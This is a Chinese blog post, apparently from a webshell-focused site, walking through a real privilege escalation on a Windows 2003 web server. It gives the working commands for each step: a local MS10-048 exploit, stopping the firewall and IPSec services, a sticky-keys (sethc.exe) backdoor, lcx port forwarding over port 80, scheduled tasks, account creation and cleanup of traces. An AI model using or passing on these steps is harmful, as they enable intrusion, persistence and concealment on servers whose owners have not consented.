一日从朋友处得到一网站权限,让我帮忙提权。拿到后看了看,C、D盘有只读权限,C:\Documents and Settings\All Users\Documents 可写。 没有装FTP软件和数据库。wscript.shell没有被禁用, 终端端口被改成45678 。试了试从外网连不上45678端口,用LCX也导不出来,本以为是WINDOWS自带的防火墙或者IPSEC。不过防火墙的事拿到系统权限了再搞吧。

找了找本地溢出的漏洞,貌似只有MS08067和MS10048,不过在服务器的D盘根目录发现个KB958644.exe ,这个应该是MS08067的补丁,把MS10048.exe传到C:\Documents and Settings\All Users\Documents目录里,运行ms10048 Whoami,返回nt authority\system,为系统权限。 接下来关掉防火墙 执行net stop policyagent和net stop sharedaccess .发现45678端口还是连不上,郁闷至极,ping 外网IP也不通 。 执行一下tracert 220.181.6.175 (220.181.6.175是百度的IP) 返回1 1ms <1ms <1 203.171.236.12 * * * Request timed out.3 * * * Request timed out. 数据包经过路由器就被抛弃了.初步判断是路由器设置了ACL表。扫描了一下目标服务器,只开了80端口,服务器操作系统是WINDOWS 2003. 端口复用在2003上不管用。 看来只有把IIS停了再把45678端口转到80端口上了。在c:\windows 目录中写了个1.bat内容是copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe /y /*替换sethc.exe,登陆上终端后按5下Shift打开CMD窗口*/net stop w3svclcx.exe -tran 80 127.0.0.1 45678net start w3svc /*这一行是为了当lcx意外崩溃后启动IIS。*/不过需要注意的是 这个1.bat不能直接用ms10048.exe 运行 ,因为IIS进程是ms10048.exe的父进程 ,把IIS结束后ms10048.exe也就自动退出了 所以不会运行后面的代码运行time/t得到服务器的时间是20:23。 ms10048.exe at 20:25 c:\windows\1.bat 让服务器在20:25运行1.bat 为了保险起见 再运行一个ms10048.exe at 20:40 shutdown -r 让服务器在20:40重启。一两分钟后用远程桌面连接 服务器80端口成功连上,按无暇5下SHIFT键弹出CMD窗口 添加用户成功登陆。登陆后运行 at \delete \y 删除刚才添加的定时重启任务。接下来就该干什么干什么去了。退出的时候可以直接重启服务器 ,不过这样不太厚道。 打开一个cmd窗口 运行query user 找到自己的用户ID ,我的用户ID是2。 然后在CMD窗口里输入 taskkill /IM lcx.exe /F&logoff 2&net user 410502 /del&net start w3svc 这行命令的意思是 结束lcx.exe 注销我的用户 删掉我的用户 然后启动IIS. 提权到此顺利结束 by 不要败给回忆

转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/368.html